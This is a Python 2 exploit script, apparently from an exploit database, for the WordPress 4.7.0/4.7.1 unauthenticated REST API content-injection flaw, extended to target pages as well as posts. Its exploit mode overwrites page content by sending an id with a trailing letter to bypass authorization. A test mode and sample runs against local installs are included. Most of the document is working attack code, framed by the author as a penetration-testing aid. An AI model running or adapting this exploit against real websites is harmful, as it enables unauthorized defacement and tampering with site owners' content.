# Exploit Title: Test/Exploit WordPress 4.7.0/4.7.1 UnAuth Content Injection for WP post_type="pages"' 
# Blog Post: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Version: WordPress 4.7.0/4.7.1
# Tested on: 4.9.0-kali3-amd64

'''
Explanation: The above blog post discusses a vulnerabilty in Wordpress 4.7/4.7.1 wherein a PHP type mismatch was leveraged to bypass Authorization checks and inject arbitrary content via the REST API. 
It discussed only wordpress posts which have a "post_type" as "post" and not "pages" [These are defined in wp_posts table for each wordpress page]. 

During a penetration test, I found that the vulnerable host did not have any "posts" as such i.e. for eg  http://[HOST]/wordpress/?rest_route=/wp/v2/posts/ was accesible, but returned empty []. 

However, http://[HOST]/wordpress/?rest_route=/wp/v2/pages returned quite a few pages. Upon looking deeper, it was identified that the controller method was the same for both these "post_type". 

A Couple of other exploits on EDB (EDB ID 41223 and 41224) do not discuss this fact and only exploit "posts".Hence I decided to write this. 

Change variable name "Injected_content" to change the content.

Also included a practically non-intrusive test to determine if the host is vulnerable. Professional clients do not expect to be defaced while testing for vulns ;) 
TESTS:
 Wordpress 4.7 - 
    root@kali#python wp.py -u http://127.0.0.1/wordpress -t
    [+] Page ID: 18, Title: efasdf 
    [+] Page ID: 16, Title: page5 
    [+] Page ID: 14, Title: comment 
    [+] Page ID: 12, Title: media 
    [+] Page ID: 9, Title: asdf 
    [+] Page ID: 7, Title: werw 
    [+] Page ID: 5, Title: HELLO MR GUY 
    [+] Page ID: 2, Title: Sample Page 
    [+] Page ID: 1, Title: Hello world! 
    [+] Select Page Id: 18
    [+] Response Code 200
    [+] 
    [+] VULNERABLE. Time to Patch/Upgrade to the latest Wordpress


 WordPress 4.7.5
    root@kali#python wp.py -u http://127.0.0.1/wordpress_latest -t
    [+] Page ID: 2, Title: Sample Page 
    [+] Select Page Id: 2
    [+] HTTP 400 Received, this Installation does not seem Vulnerable. Enjoy your day!

Note: If you are proxying, you will see why a 400 would mean a patched system. 
The Response message would be similar to this- 

{"code":"rest_invalid_param","message":"Invalid parameter(s): id","data":{"status":400,"params":{"id":"id is not of type integer."}}}

'''


import argparse
import json
import sys
import urllib2

Injected_content = "WORDPRESS INJECTION "

def get_pages(wp_url):
    
    try:
        url =  wp_url +  '/?rest_route=/wp/v2/pages'

        response = urllib2.urlopen(url)
        pages = json.loads(response.read())

        for page in pages:
            print('[+] Page ID: {0}, Title: {1} '.format(page['id'], page['title']['rendered']))

    except Exception as e:
            print "[+] The Entered URL did not return the Expected Response. If you have Netork connectivity, and still recieve this, the installation might not be vulnerable" 
            sys.exit(1)

def update_page(id, Injected_content):
    
    print "[+] Injecting Content " + Injected_content + "..."

    try:
        data = json.dumps({
                    'content': Injected_content
                        })

        url = args.url +  '/?rest_route=/wp/v2/pages/{id}&id={id}a'.format(id=id)
        req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
        response = urllib2.urlopen(req).read()
    
   
        print "[+] Done ! "
        print "[+] Check out updated page at " + args.url + '/?rest_route=/wp/v2/posts/{id}'.format(id=id)
        sys.exit(1)

    except Exception as e:
       print "[+] Oops..Something went wrong. Injection was not successful. This might not vulnerable."
       sys.exit(1)

def test_vuln(id):
    #Trying to edit a non-editable field. If we get 200 OK, that means we could have theoritically edited any field, including content.
    data = json.dumps({
                     "curies": "22"
                    })
    try:
        url = args.url +  '/?rest_route=/wp/v2/pages/{id}&id={id}a'.format(id=id)
        req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
        response = urllib2.urlopen(req)
        ret_code = str(response.getcode())
        print "[+] Response Code " + ret_code
        if(response.getcode() != 200):
            print "[+] This installation is not vulnerable"
        else:
            print "[+] "
            print "[+] VULNERABLE. Time to Patch/Upgrade to the latest Wordpress"
        
    
    except urllib2.URLError as e:
        if e.code == 404:
            print "[+] Did you enter an existing page Id?" 
        if e.code == 400:
            print "[+] HTTP 400 Received, this Installation does not seem Vulnerable. Enjoy your day!"


if __name__ == '__main__':
   
    parser = argparse.ArgumentParser(description='Test/Exploit WordPress 4.7.0/4.7.1 UnAuth Content Injection for WP post_type="pages"')
    parser.add_argument('-u','--url', help='URL for Wordpress install', required=True)
    parser.add_argument('-t','--test', help='Only Test for content Injection', required=False, action='store_true')
    parser.add_argument('-e','--exploit', help='Exploit the Content Injection', required=False, action='store_true')
    args = parser.parse_args()


# Uncomment these if you want to see the request/response via an Intercepting proxy (Eg, burp)
#    proxy = "127.0.0.1:8080"
#    proxies = {"http":"http://%s" % proxy}
#    proxy_support = urllib2.ProxyHandler(proxies)

#    opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler())

#    urllib2.install_opener(opener)


    if(not args.exploit and not args.test):
        parser.print_help()
        sys.exit(1)
    if(args.test):
        get_pages(args.url)
        page_id = raw_input("[+] Select Page Id: ")
        test_vuln(page_id)
    if(args.exploit):
        get_pages(args.url)
        page_id = raw_input("[+] Select Page Id: ")
        update_page(page_id, Injected_content)
         


